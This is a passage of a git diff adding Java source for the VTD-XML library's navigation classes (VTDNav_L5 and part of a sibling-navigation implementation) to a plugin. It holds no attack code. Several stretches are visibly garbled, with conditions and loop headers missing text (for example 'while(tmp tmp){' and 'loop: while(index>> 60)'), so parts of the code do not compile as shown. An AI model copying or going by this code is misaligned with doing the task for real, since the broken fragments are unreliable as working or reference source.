context[0]=0; + LN = index+1; + return true; + } + }else{ + index = vtdSize-1; + while(index > l1Buffer.upper32At(l1index) && getTokenDepth(index)<=0){ + index--; + } + + if (index == vtdSize-1 ){ + if (getTokenDepth(index)==0){ + context[0]=0; + LN = index; + atTerminal = true; + return true; + }else + return false; + } + index++; + if (getTokenDepth(index)==0){ + context[0]=0; + LN = index; + atTerminal = true; + return true; + }else{ + return false; + } + } + } + + case 2: + if(atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + if (l2Buffer.lower32At(l2index) != -1) { + if (LN < l3Buffer.intAt(l3upper)) { + tmp = l3Buffer.intAt(l3index); + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + + if (index < tmp) { + LN = index; + return true; + } else { + context[0] = 3; + context[3] = tmp; + atTerminal = false; + return true; + } + } else { + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < vtdSize) { + depth = getTokenDepth(index); + if (depth==2 && getTokenType(index)!=TOKEN_STARTING_TAG){ + LN = index; + return true; + } + return false; + } + return false; + } + }else{ + index= LN+1; + if (tokenType==TOKEN_PI_NAME) + index++; + if (index < vtdSize){ + depth = getTokenDepth(index); + if (depth==2 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + }else{ + return false; + } + } + }else{ + //l2index < l2upper + if (l2index< l2upper){ + tmp = l2Buffer.upper32At(l2index); + l2index++; + lastEntry = index = l2Buffer.upper32At(l2index)-1; + //rewind + loop2: while(index>tmp){ + if (getTokenDepth(index)==1){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index = index -2; + break; + default: break loop2; + } + }else + break loop2; + } + if (index == lastEntry){ + context[0]=2; + context[2] = index+1; + return true; + } + context[0]=1; + LN = index+1; + atTerminal = true; + return true; + }else{ + lastEntry = index = vtdSize-1; + if (l1index!=l1Buffer.size-1){ + lastEntry = index = l1Buffer.upper32At(l1index+1)-1; + } + tmp = l2Buffer.upper32At(l2upper);// pointing to last level 2 element + + //rewind + while(index>tmp){ + if (getTokenDepth(index)<2) + index--; + else + break; + } + + if (( /*lastEntry!=index &&*/ getTokenDepth(index)==1)){ + LN = index; + atTerminal = true; + context[0]=1; + return true; + } + + if (/*getTokenDepth(index+1)==1 + && getTokenType(index+1)!= TOKEN_STARTING_TAG + &&index !=tmp+1*/ + lastEntry!=index && getTokenDepth(index+1)==1){ //index has moved + LN = index+1; + atTerminal = true; + context[0]=1; + return true; + } + + return false; + } + + } + //break; + case 3: + if(!atTerminal){ + //l2index < l2upper + if (l3index< l3upper){ + //System.out.println(l3index+" "+l3upper+" "+l3lower+" "+l3Buffer.size+" "); + tmp = l3Buffer.intAt(l3index); + l3index++; + //lastEntry = index = vtdSize-1; + //if (l3index tmp){ + if (getTokenDepth(index)==2){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index = index -2; + break; + default: + break loop2; + } + }else + break loop2; + } + if (index == lastEntry){ + context[0]=3; + context[3] = index+1; + return true; + } + context[0]=2; + LN = index+1; + atTerminal = true; + return true; + }else{ + lastEntry = index = vtdSize-1; + + if (l1index != l1Buffer.size-1){ + lastEntry=index = l1Buffer.upper32At(l1index+1)-1; + } + + if (l2index != l2Buffer.size-1 && l2index != l2upper){ + lastEntry=index = l2Buffer.upper32At(l2index+1)-1; + } + // inser here + tmp = l3Buffer.intAt(l3index); + + //rewind + while(index>tmp){ + if (getTokenDepth(index)<3) + index--; + else + break; + } + if ((/*lastEntry==index &&*/ getTokenDepth(index)==2)){ + LN = index; + atTerminal = true; + context[0]=2; + return true; + } + + if (lastEntry!=index && getTokenDepth(index+1)==2){ + LN = index+1; + atTerminal = true; + context[0]=2; + return true; + } + + return false; + } + + } + //break; + default: + if (atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + index = LN+1; + tmp = context[0]+1; + } + else{ + index = context[context[0]] + 1; + tmp = context[0]; + } + while (index < vtdSize) { + long temp = vtdBuffer.longAt(index); + tokenType = (int) ((MASK_TOKEN_TYPE & temp) >>> 60); + depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + switch (tokenType) { + case TOKEN_STARTING_TAG: + if (depth < tmp) { + return false; + } else if (depth == tmp) { + context[0]=tmp; + context[context[0]] = index; + atTerminal = false; + return true; + }else + index++; + break; + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index += 2; + break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + //depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < tmp-1) { + return false; + } else if (depth == tmp-1) { + LN = index; + context[0]= tmp-1; + atTerminal = true; + return true; + } else + index++; + break; + case TOKEN_PI_NAME: + //depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < tmp-1) { + return false; + } else if (depth == tmp-1) { + LN = index; + context[0]= tmp-1; + atTerminal = true; + return true; + } else + index += 2; + break; + default: + index++; + } + + } + return false; + } + case PREV_SIBLING: + return toNode_PrevSibling(); + default : + throw new NavException("illegal navigation options"); + } + } + + protected boolean toNode_PrevSibling(){ + int index,tokenType,depth,tmp; + switch (context[0]) { + case -1: + if(atTerminal){ + index = LN-1; + if (index>0){ + depth = getTokenDepth(index); + if (depth==-1){ + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_COMMENT: + LN = index; + return true; + default: + return false; + } + }else{ + context[0] = 0; + atTerminal = false; + return true; + } + }else{ + return false; + } + }else{ + return false; + } + + case 0: + if(atTerminal){ + if (l1Buffer.size!=0){ + // three cases + if (LN < l1Buffer.upper32At(l1index)){ + index = LN-1; + if (index>rootIndex){ + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == 0){ + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + return true; + case TOKEN_PI_VAL: + LN = index -1; + return true; + } + } + if (l1index==0) + return false; + l1index--; + atTerminal = false; + context[0]=1; + context[1]= l1Buffer.upper32At(l1index); + return true; + }else + return false; + } else { + index = LN -1; + if (index>l1Buffer.upper32At(l1index)){ + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == 0){ + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + return true; + case TOKEN_PI_VAL: + LN = index -1; + return true; + } + } + } + atTerminal = false; + context[0]=1; + context[1]= l1Buffer.upper32At(l1index); + return true; + } + }else{ + index = LN-1; + if (index>rootIndex){ + tokenType=getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=0; + return true; + default: + return false; + } + } + return false; + } + + }else{ + index = rootIndex-1; + if (index>0){ + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_COMMENT: + LN = index; + atTerminal = true; + context[0]=-1; + return true; + default: + return false; + } + }else{ + return false; + } + } + //break; + case 1: + if(atTerminal){ + if (l1Buffer.lower32At(l1index)!=-1){ + tmp = l2Buffer.upper32At(l2index); + if (LN > tmp){ + index = LN-1; + if (getTokenType(index)==TOKEN_PI_VAL){ + index--; + } + if (getTokenDepth(index)==1){ + LN = index; + return true; + }else{ + atTerminal = false; + context[0]=2; + context[2]=tmp; + return true; + } + } else if (l2index!=l2lower){ + l2index--; + atTerminal = false; + context[0]=2; + context[2]=l2Buffer.upper32At(l2index); + return true; + } else { + index = LN-1; + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=1; + return true; + default: + return false; + } + } + }else{ + index= LN-1; + if (getTokenType(index)==TOKEN_PI_VAL) + index--; + if (index > context[1]){ + tokenType = getTokenType(index); + if (tokenType!= VTDNav.TOKEN_ATTR_VAL){ + LN = index; + atTerminal = true; + return true; + }else + return false; + }else{ + return false; + } + } + }else{ + index = context[1]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==0 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=0; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l1index != 0){ + l1index--; + context[1] = l1Buffer.upper32At(l1index); + return true; + }else + return false; + } + } + //break; + case 2: + if(atTerminal){ + if (l2Buffer.lower32At(l2index)!=-1){ + tmp = l3Buffer.intAt(l3index); + if (LN > tmp){ + index = LN-1; + if (getTokenType(index)==TOKEN_PI_VAL){ + index--; + } + if (getTokenDepth(index)==2){ + LN = index; + return true; + }else{ + atTerminal = false; + context[0]=3; + context[3]=tmp; + return true; + } + } else if (l3index!=l3lower){ + l3index--; + atTerminal = false; + context[0]=3; + context[3]=l3Buffer.intAt(l3index); + return true; + } else { + index = LN-1; + tokenType = getTokenType(index); + switch (tokenType) { + case TOKEN_PI_VAL: + index--; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + + LN = index; + atTerminal = true; + context[0]=2; + return true; + default: + return false; + } + } + }else{ + index= LN-1; + if (getTokenType(index)==TOKEN_PI_VAL) + index--; + if (index > context[2]){ + tokenType = getTokenType(index); + if (tokenType!= VTDNav.TOKEN_ATTR_VAL){ + LN = index; + atTerminal = true; + return true; + }else + return false; + }else{ + return false; + } + } + }else{ + index = context[2]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==1 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=1; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l2index != l2lower){ + l2index--; + context[2] = l2Buffer.upper32At(l2index); + return true; + }else + return false; + } + } + //break; + case 3: + if(!atTerminal){ + index = context[3]-1; + tokenType = getTokenType(index); + if (getTokenDepth(index)==2 + && tokenType!= TOKEN_ATTR_VAL + && tokenType!= TOKEN_STARTING_TAG){ + if (tokenType==TOKEN_PI_VAL) + index--; + context[0]=2; + atTerminal = true; + LN = index; + return true; + }else{ + // no more prev sibling element + if (l3index != l3lower){ + l3index--; + context[3] = l3Buffer.intAt(l3index); + return true; + }else + return false; + } + } + //break; + default: + if (atTerminal){ + index = LN-1; + tmp = context[0]+1; + } + else{ + index = context[context[0]] - 1; + tmp = context[0]; + } + while (index > context[tmp-1]) { + long temp = vtdBuffer.longAt(index); + tokenType = (int) ((MASK_TOKEN_TYPE & temp) >>> 60); + depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + switch (tokenType) { + case TOKEN_STARTING_TAG: + + /*if (depth < tmp) { + return false; + } else*/ if (depth == tmp) { + context[0] = depth; + context[context[0]] = index; + atTerminal = false; + return true; + }else + index--; + break; + case TOKEN_ATTR_VAL: + //case TOKEN_ATTR_NS: + index -= 2; + break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + //depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + /*if (depth < tmp-1) { + return false; + } else*/ if (depth == tmp-1) { + context[0] = tmp-1; + LN = index; + atTerminal = true; + return true; + } else + index--; + break; + case TOKEN_PI_VAL: + //depth = (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + /*if (depth < context[0]) { + return false; + } else*/ + if (depth == (tmp-1)) { + context[0] = tmp-1; + LN = index-1; + atTerminal = true; + return true; + } else + index -= 2; + break; + default: + index--; + } + + } + return false; + } + } + + protected boolean toNode_LastChild(){ + int depth,index,tokenType,lastEntry,tmp; + switch (context[0]) { + case -1: + index = vtdSize-1; + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth == -1) { + switch (tokenType) { + case TOKEN_COMMENT: + LN = index; + atTerminal = true; + return true; + case TOKEN_PI_VAL: + LN = index -1; + atTerminal = true; + return true; + } + } + context[0]=0; + return true; + + case 0: + if (l1Buffer.size!=0){ + lastEntry = l1Buffer.upper32At(l1Buffer.size-1); + index = vtdSize-1; + while(index > lastEntry){ + depth = getTokenDepth(index); + if (depth==-1){ + index--; + continue; + } else if (depth ==0){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + atTerminal = true; + l1index = l1Buffer.size -1; + return true; + case TOKEN_PI_VAL: + LN = index -1; + atTerminal = true; + l1index = l1Buffer.size -1; + return true; + default: + return false; + } + }else { + l1index = l1Buffer.size -1; + context[0]= 1; + context[1]= lastEntry; + return true; + } + } + l1index = l1Buffer.size -1; + context[0]= 1; + context[1]= lastEntry; + return true; + }else{ + index = vtdSize - 1; + while(index>rootIndex){ + depth = getTokenDepth(index); + if (depth == -1){ + index--; + continue; + } + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + LN = index; + atTerminal = true; + return true; + case TOKEN_PI_VAL: + LN = index-1; + atTerminal = true; + return true; + default: + return false; + } + } + return false; + } + + case 1: + if (l1Buffer.lower32At(l1index)!=-1){ + l2lower = l1Buffer.lower32At(l1index); + tmp = l1index+1; + while(tmp tmp){ + depth = getTokenDepth(index); + if (depth <1) + index--; + else if (depth == 1){ + tokenType = getTokenType(index); + if (tokenType == TOKEN_PI_VAL) + LN = index-1; + else + LN = index; + atTerminal = true; + //context[0]=1; + return true; + }else + break; + } + context[0]=2; + context[2]=tmp; + return true; + + + }else{ + index = context[1]+1; + loop: while(index tmp){ + depth = getTokenDepth(index); + if (depth <2) + index--; + else if (depth == 2){ + tokenType = getTokenType(index); + if (tokenType == TOKEN_PI_VAL) + LN = index-1; + else + LN = index; + atTerminal = true; + //context[0]=1; + return true; + }else + break; + } + context[0]=3; + context[3]=tmp; + return true; + }else{ + index = context[2]+1; + loop: while(index>> 60); + depth =getTokenDepth(index); + switch(tokenType){ + case TOKEN_STARTING_TAG: + if (depth <= context[0]){ + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + }else{ + context[0]+=1; + context[context[0]] = lastEntry; + atTerminal = false; + } + return true; + } else + return false; + }else if (depth == (context[0] + 1)) { + lastEntry = index; + atTerminal = false; + } + index++; + break; + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: index+=2;break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + if (depth < context[0]){ + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + } + else{ + context[0]++; + context[context[0]]=lastEntry; + } + return true; + }else + return false; + }else if (depth == (context[0])) { + lastEntry = index; + atTerminal = true; + } + index++; + break; + case TOKEN_PI_NAME: + if (depth < context[0]){ + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + } + else{ + context[0]++; + context[context[0]]=lastEntry; + } + return true; + }else + return false; + }else if (depth == (context[0])) { + lastEntry = index; + atTerminal = true; + } + index+=2; + break; + } + //index++; + } // what condition + if (lastEntry !=-1){ + if (atTerminal){ + LN = lastEntry; + } + else{ + context[0]++; + context[context[0]]=lastEntry; + } + return true; + }else + return false; + } + } + + final public String toNormalizedXPathString(int j) throws NavException{ + // TODO Auto-generated method stub + int tokenType; + int index = j + 1; + int depth, t=0; + int dp = getTokenDepth(j); + boolean r = false;//default + //int size = vtdBuffer.size; + // store all text tokens underneath the current element node + while (index < vtdSize) { + tokenType = getTokenType(index); + depth = getTokenDepth(index); + + if (depth>32); + + switch(state){ + case 0: + if(isWS(c)){ + + }else{ + sb.append((char)c); + state =1; + } + break; + + case 1: + if(isWS(c)){ + sb.append((char)' '); + state =2; + }else{ + sb.append((char)c); + } + break; + + case 2: + if (isWS(c)){ + + }else{ + sb.append((char)c); + state = 1; + } + break; + + } + } + }else{ + while(offset < endOS){ + l = getChar(offset); + c = (int)l; + offset += (int)(l>>32); + + switch(state){ + case 0: + if(isWS(c)){ + + }else{ + sb.append((char)c); + state =1; + } + break; + case 1: + if(isWS(c)){ + sb.append((char)' '); + state =2; + }else{ + sb.append((char)c); + } + break; + + case 2: + if (isWS(c)){ + + }else{ + sb.append((char)c); + state = 1; + } + break; + + } + } + } + + index++; + //System.out.println(sb.toString()); + } + fib.clear(); + //String s =sb.toString(); + //System.out.println(); + return sb.toString(); + + } +} \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDNav_L5.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDNav_L5.java new file mode 100644 index 0000000..b04791f --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDNav_L5.java @@ -0,0 +1,4665 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +package com.ximpleware; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; + +public class VTDNav_L5 extends VTDNav { + + protected int l4index; + protected int l5index; + protected int l4upper; + protected int l4lower; + protected int l5upper; + protected int l5lower; + + protected FastLongBuffer l3Buffer; + protected FastLongBuffer l4Buffer; + protected FastIntBuffer l5Buffer; + + //protected static short maxLCDepth =5; + /** + * Initialize the VTD navigation object. + * + * @param RootIndex + * int + * @param maxDepth + * int + * @param encoding + * int + * @param NS + * boolean + * @param x + * byte[] + * @param vtd + * com.ximpleware.ILongBuffer + * @param l1 + * com.ximpleware.ILongBuffer + * @param l2 + * com.ximpleware.ILongBuffer + * @param l3 + * com.ximpleware.IIntBuffer + * @param so + * int starting offset of the document(in byte) + * @param length + * int length of the document (in byte) + */ + protected VTDNav_L5( + int RootIndex, + int enc, + boolean NS, + int depth, + IByteBuffer x, + FastLongBuffer vtd, + FastLongBuffer l1, + FastLongBuffer l2, + FastLongBuffer l3, + FastLongBuffer l4, + FastIntBuffer l5, + int so, // start offset of the starting offset(in byte) + int length) // lengnth of the XML document (in byte)) + { + //super(); + // initialize all buffers + if (l1 == null + || l2 == null + || l3 == null + || vtd == null + || x == null + || depth < 0 + || RootIndex < 0 //|| encoding <= FORMAT_UTF8 + //|| encoding >= FORMAT_ISO_8859_1 + || so < 0 + || length < 0) { + throw new IllegalArgumentException(); + } + count=0; + l1Buffer = l1; + l2Buffer = l2; + l3Buffer = l3; + l4Buffer = l4; + l5Buffer = l5; + vtdBuffer = vtd; + XMLDoc = x; + + encoding = enc; + //System.out.println("encoding " + encoding); + rootIndex = RootIndex; + nestingLevel = depth + 1; + ns = NS; // namespace aware or not + if (ns == false) + MASK_TOKEN_OFFSET = 0x000000007fffffffL; // this allows xml size to + // be 2GB + else // if there is no namespace + MASK_TOKEN_OFFSET = 0x000000003fffffffL; + + + atTerminal = false; //this variable will only change value during XPath + // eval + + // initialize the context object + this.context = new int[nestingLevel]; + //depth value is the first entry in the context because root is + // singular. + context[0] = 0; + //set the value to zero + for (int i = 1; i < nestingLevel; i++) { + context[i] = -1; + } + //currentOffset = 0; + //contextStack = new ContextBuffer(1024, nestingLevel + 7); + contextStack = new ContextBuffer(10, nestingLevel + 15); + contextStack2 = new ContextBuffer(10, nestingLevel + 15); + stackTemp = new int[nestingLevel + 15]; + + // initial state of LC variables + l1index = l2index = l3index = l4index = l5index= -1; + l2lower = l3lower = l4lower = l5lower= -1; + l2upper = l3upper = l4upper = l5upper= -1; + docOffset = so; + docLen = length; + //System.out.println("offset " + offset + " length " + length); + //printL2Buffer(); + vtdSize = vtd.size; + //writeOffsetAdjustment = false; + //recentNS = -1; + name = null; + nameIndex = -1; + localName = null; + localNameIndex = -1; + fib = new FastIntBuffer(5); // page size is 32 ints + shallowDepth = false; + maxLCDepthPlusOne =6; + + } + + /** + * Clone the VTDNav instance to get with shared XML, VTD and LC buffers + * The node position is also copied from the original instance + * @return a new instance of VTDNav + */ + public VTDNav cloneNav(){ + VTDNav_L5 vn = new VTDNav_L5(rootIndex, + encoding, + ns, + nestingLevel-1, + XMLDoc, + vtdBuffer, + l1Buffer, + l2Buffer, + l3Buffer, + l4Buffer, + l5Buffer, + docOffset, + docLen + ); + vn.atTerminal = this.atTerminal; + vn.LN = this.LN; + if (this.context[0]!=-1) + System.arraycopy(this.context, 0, vn.context, 0, this.context[0]+1 ); + else + vn.context[0]=-1; + vn.l1index = l1index; + if (getCurrentDepth()>1){ + vn.l2index = this.l2index; + vn.l2upper = l2upper; + vn.l2lower = l2lower; + } + if (getCurrentDepth() > 2) { + vn.l3lower = l3lower; + vn.l3index = l3index; + vn.l3upper = l3upper; + } + if (getCurrentDepth() > 3) { + vn.l4lower = l4lower; + vn.l4index = l4index; + vn.l4upper = l4upper; + } + if (getCurrentDepth() > 4) { + vn.l5lower = l5lower; + vn.l5index = l5index; + vn.l5upper = l5upper; + } + return vn; + } + + /** + * Duplicate the VTDNav instance with shared XML, VTD and LC buffers + * This method may be useful for parallel XPath evaluation + * The node Position is at root element + * @return a VTDNav instance + * + */ + final public VTDNav duplicateNav(){ + return new VTDNav_L5(rootIndex, + encoding, + ns, + nestingLevel-1, + XMLDoc, + vtdBuffer, + l1Buffer, + l2Buffer, + l3Buffer, + l4Buffer, + l5Buffer, + docOffset, + docLen + ); + } + + /** + * This method is similar to getElementByName in DOM except it doesn't + * return the nodeset, instead it iterates over those nodes . When URL is + * "*" it will match any namespace if ns is false, return false immediately + * + * @return boolean + * @param dp + * int (The depth of the starting position before iterating) + * @param URL + * java.lang.String + * @param ln + * java.lang.String + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because VTD records can be generated + * by another machine from a load-balancer.. + * @exception IllegalArguementException + * if ln is null example + * + * int depth = nv.getCurrentDepth() while(iterateNS(depth, + * "www.url.com","node_name")){ push(); // store the current position //move + * position safely pop(); // load the position } + */ + final protected boolean iterateNS(int dp, String URL, String ln) + throws NavException { + if (ns == false) + return false; + int tokenType; + int index = getCurrentIndex() + 1; + while (index < vtdSize) { + tokenType = getTokenType(index); + if(tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS){ + index = index+2; + continue; + } + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + if (depth > dp) { + context[0] = depth; + if (depth>0) + context[depth] = index; + if (matchElementNS(URL, ln)) { + if (dp < 6) + resolveLC(); + return true; + } + } else { + return false; + } + } + index++; + } + return false; + } + + /** + * Sync up the current context with location cache. This operation includes + * finding out l1index, l2index, l3index and restores upper and lower bound + * info To improve efficieny this method employs some heuristic search + * algorithm. The result is that it is quite close to direct access. + * Creation date: (11/16/03 7:44:53 PM) + * + * @return int The index of the NS URL + */ + protected void resolveLC() { + if (context[0]<=0) + return; + resolveLC_l1(); + if (context[0] == 1) + return; + resolveLC_l2(); + if (context[0] == 2) + return; + resolveLC_l3(); + if (context[0] == 3) + return; + resolveLC_l4(); + if (context[0] == 4) + return; + resolveLC_l5(); + } + + /** + * Sync L3 location Cache + */ + protected void resolveLC_l3(){ + int temp = l2Buffer.lower32At(l2index); + if (l3lower != temp) { + l3lower = temp; + // l2lower shouldn't be -1 !!!! l2lower and l2upper always get + // resolved simultaneously + l3index = l3lower; + l3upper = l3Buffer.size - 1; + for (int i = l2index + 1; i < l2Buffer.size; i++) { + temp = l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + l3upper = temp - 1; + break; + } + } + } // intelligent guess again ?? + + if (l3index < 0 || l3index >= l3Buffer.size + || context[3] != l3Buffer.upper32At(l3index)) { + + if (l3index >= l3Buffer.size || l3index<0) + l3index = l3lower; + if (l3index+1< l3Buffer.size&& context[3] == l3Buffer.upper32At(l3index + 1)) + l3index = l3index + 1; + else if (l3upper - l3lower >= 16) { + int init_guess = l3lower + + (int) ((l3upper - l3lower) + * ((float) context[3] - l3Buffer + .upper32At(l3lower)) / (l3Buffer + .upper32At(l3upper) - l3Buffer + .upper32At(l3lower))); + if (l3Buffer.upper32At(init_guess) > context[3]) { + while (context[3] != l3Buffer.upper32At(init_guess)) + init_guess--; + } else if (l3Buffer.upper32At(init_guess) < context[3]) { + while (context[3] != l3Buffer.upper32At(init_guess)) + init_guess++; + } + l3index = init_guess; + } else if (context[3]= l4Buffer.size + || context[4] != l4Buffer.upper32At(l4index)) { + + if (l4index >= l4Buffer.size || l4index<0) + l4index = l4lower; + if (l4index+1< l4Buffer.size&& context[4] == l4Buffer.upper32At(l4index + 1)) + l4index = l4index + 1; + else if (l4upper - l4lower >= 16) { + int init_guess = l4lower + + (int) ((l4upper - l4lower) + * ((float) context[4] - l4Buffer + .upper32At(l4lower)) / (l4Buffer + .upper32At(l4upper) - l4Buffer + .upper32At(l4lower))); + if (l4Buffer.upper32At(init_guess) > context[4]) { + while (context[4] != l4Buffer.upper32At(init_guess)) + init_guess--; + } else if (l4Buffer.upper32At(init_guess) < context[4]) { + while (context[4] != l4Buffer.upper32At(init_guess)) + init_guess++; + } + l4index = init_guess; + } else if (context[4]= l5Buffer.size + || context[5] != l5Buffer.intAt(l5index)) { + if (l5index >= l5Buffer.size || l5index <0) + l5index = l5lower; + if (l5index+1 < l5Buffer.size && + context[5] == l5Buffer.intAt(l5index + 1)) + l5index = l5index + 1; + else if (l5upper - l5lower >= 16) { + int init_guess = l5lower + + (int) ((l5upper - l5lower) * ((float) (context[5] - l5Buffer + .intAt(l5lower)) / (l5Buffer.intAt(l5upper) - l5Buffer + .intAt(l5lower)))); + if (l5Buffer.intAt(init_guess) > context[5]) { + while (context[5] != l5Buffer.intAt(init_guess)) + init_guess--; + } else if (l5Buffer.intAt(init_guess) < context[5]) { + while (context[5] != l5Buffer.intAt(init_guess)) + init_guess++; + } + l5index = init_guess; + } else if (context[5]"+t2+" t1 ==>"+t1); + i= Math.min(l3lower+ (int)(((float)(index-t1)/(t2-t1+1))*(l3upper-l3lower)),l3upper) ; + //System.out.print(" i1 "+i); + while(i "+index); + + while (l3Buffer.upper32At(i)>index && i>0) + i--; + context[3] = l3Buffer.upper32At(i); + l3index = i; + //System.out.println("l2lower ==>"+l2lower+" l2upper==>"+l2upper+" l2index==> "+l2index); + } + + private final void recoverNode_l4(int index){ + int i = l3Buffer.lower32At(l3index); + + if (l4lower != i) { + l4lower = i; + // l2lower shouldn't be -1 !!!! l2lower and l2upper always get + // resolved simultaneously + //l2index = l2lower; + l4upper = l4Buffer.size - 1; + for (int k = l3index + 1; k < l3Buffer.size; k++) { + i = l3Buffer.lower32At(k); + if (i != 0xffffffff) { + l4upper = i - 1; + break; + } + } + } + // guess what i would be in l2 cache + int t1=l4Buffer.upper32At(l4lower); + int t2=l4Buffer.upper32At(l4upper); + //System.out.print(" t2 ==>"+t2+" t1 ==>"+t1); + i= Math.min(l4lower+ (int)(((float)(index-t1)/(t2-t1+1))*(l4upper-l4lower)),l4upper) ; + //System.out.print(" i1 "+i); + while(i "+index); + + while (l4Buffer.upper32At(i)>index && i>0) + i--; + context[4] = l4Buffer.upper32At(i); + l4index = i; + //System.out.println("l2lower ==>"+l2lower+" l2upper==>"+l2upper+" l2index==> "+l2index); + } + + private final void recoverNode_l5(int index){ //l3 + int i = l4Buffer.lower32At(l4index); + + if (l5lower != i) { + //l3lower and l3upper are always together + l5lower = i; + // l3lower shouldn't be -1 + //l3index = l3lower; + l5upper = l5Buffer.size - 1; + for (int k = l4index + 1; k < l4Buffer.size; k++) { + i = l4Buffer.lower32At(k); + if (i != 0xffffffff) { + l5upper = i - 1; + break; + } + } + } + int t1=l5Buffer.intAt(l5lower); + int t2=l5Buffer.intAt(l5upper); + i= Math.min(l5lower+ (int)(((float)(index-t1)/(t2-t1+1))*(l5upper-l5lower)),l5upper) ; + while(iindex && i>0) + i--; + //System.out.println(" i ===> "+i); + context[5] = l5Buffer.intAt(i); + l5index = i; + } + + protected void sync(int depth, int index){ + // assumption is that this is always at terminal + switch(depth){ + case -1: return; + case 0: + if(l1Buffer.size!=0){ + if (l1index==-1) + l1index=0; + + if (index> l1Buffer.upper32At(l1Buffer.size-1)){ + l1index = l1Buffer.size-1; + return; + } + + if (index > l1Buffer.upper32At(l1index)){ + while (l1index < l1Buffer.size - 1 && l1Buffer.upper32At(l1index) < index) { + l1index++; + } + //l1index--; + } + else{ + while (l1index >0 && l1Buffer.upper32At(l1index-1) > index) { + l1index--; + } + } + //assert(indexl2Buffer.upper32At(l2index)){ + while (l2index < l2upper && l2Buffer.upper32At(l2index)< index){ + l2index++; + } + } else { + while(l2index > l2lower && l2Buffer.upper32At(l2index-1)> index){ + l2index--; + } + } + //assert(indexl3Buffer.upper32At(l3index)){ + while (l3index < l3upper && l3Buffer.upper32At(l3index) l3lower && l3Buffer.upper32At(l3index-1)> index){ + 